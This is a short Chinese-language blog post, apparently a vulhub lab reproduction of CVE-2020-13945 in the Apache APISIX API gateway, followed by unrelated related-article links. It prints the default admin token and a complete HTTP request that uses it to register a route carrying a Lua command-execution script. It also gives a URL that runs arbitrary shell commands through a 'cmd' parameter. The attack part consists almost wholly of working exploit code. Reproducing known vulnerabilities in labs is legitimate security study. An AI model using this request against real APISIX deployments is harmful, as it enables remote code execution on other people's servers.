vulhub中Apache APISIX 默认密钥漏洞复现(CVE-2020-13945)

Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token `edd1c9f034335f136f87ad84b625c8f1`,攻击者利用这个Token可以访问到管理员接口,进而通过`script`参数来插入任意LUA脚本并执行。

1.利用默认Token增加一个恶意的router,其中包含恶意LUA脚本:

复制代码
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

2.然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:

复制代码
http://your-ip:9080/attack?cmd=id
相关推荐
lifallen19 小时前
从Apache Doris 学习 HyperLogLog
java·大数据·数据仓库·算法·apache
DolphinScheduler社区20 小时前
# 3.1.8<3.2.0<3.3.1,Apache DolphinScheduler集群升级避坑指南
java·大数据·开源·apache·任务调度·海豚调度
lisanmengmeng2 天前
apache-tomcat 安装部署
java·tomcat·apache
Hello.Reader2 天前
Apache StreamPark 快速上手从一键安装到跑起第一个 Flink SQL 任务
sql·flink·apache
sanx182 天前
专业电竞体育数据与系统解决方案
前端·数据库·apache·数据库开发·时序数据库
光军oi2 天前
全栈开发杂谈————关于websocket若干问题的大讨论
java·websocket·apache
二饭7 天前
POI操作Docx的踩坑指南(一)
java·apache
Faith_xzc8 天前
Apache Doris 内部数据裁剪与过滤机制的实现原理
apache
Trainer21078 天前
十分钟搭建thinkphp开发框架
php·apache·phpstorm·composer
syntaxseeker8 天前
Apache Beam入门教程:统一批流处理模型
其他·apache